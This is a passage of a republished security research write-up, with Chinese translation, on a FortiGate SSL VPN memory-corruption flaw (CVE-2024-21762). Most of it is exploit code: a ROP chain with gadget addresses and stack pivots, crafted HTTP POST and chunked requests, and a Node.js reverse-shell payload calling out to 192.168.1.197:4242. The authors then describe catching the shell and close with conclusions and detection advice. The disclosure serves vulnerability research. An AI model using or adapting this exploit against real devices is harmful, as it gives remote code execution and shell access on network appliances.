getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

We started a netcat listener, ran the exploit and finally caught the reverse shell.
我们启动了一个 netcat 侦听器,运行了漏洞利用,并最终捕获了反向 shell。

Conclusion 结论

This was another case of a network / security appliance having a pretty serious memory corruption vulnerability. It’s also far from the first for FortiGate. As is often the case with these issues the mitigations are known, it’s just whether or not they are applied. Stack canaries were present, but ASLR was not.
这是网络/安全设备具有相当严重的内存损坏漏洞的另一种情况。对于FortiGate来说,这也远非第一次。与这些问题的情况一样,缓解措施是已知的,只是是否应用了它们。堆栈金丝雀存在,但 ASLR 不存在。

It seems like a lot of effort has been spent on preventing access to the filesystem; setting up the debugger was a significant portion of the time spent on this vulnerability. Would that effort be better spent on auditing and hardening the applications themselves?
似乎在阻止访问文件系统方面花费了很多精力;设置调试器是此漏洞所花费的大量时间。这些努力会更好地用于审计和强化应用程序本身吗?

Not much has been released in terms of IOCs for this vulnerability. However, watching for new Node.js processes may be beneficial as this isn’t the first FortiGate exploit where this technique has been useful.
关于此漏洞的 IOC 尚未发布太多信息。但是,观察新的Node.js进程可能是有益的,因为这不是该技术有用的第一个 FortiGate 漏洞。

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.
与往常一样,我们的攻击面管理平台的客户是第一个知道此漏洞何时影响他们的人。我们将继续进行原创安全研究,以告知客户其攻击面中的零日漏洞。

原文始发于assetnote:Two Bytes is Plenty: FortiGate RCE with CVE-2024-21762

版权声明:admin 发表于 2024年3月18日 下午9:53。
转载请注明:Two Bytes is Plenty: FortiGate RCE with CVE-2024-21762 | CTF导航

相关文章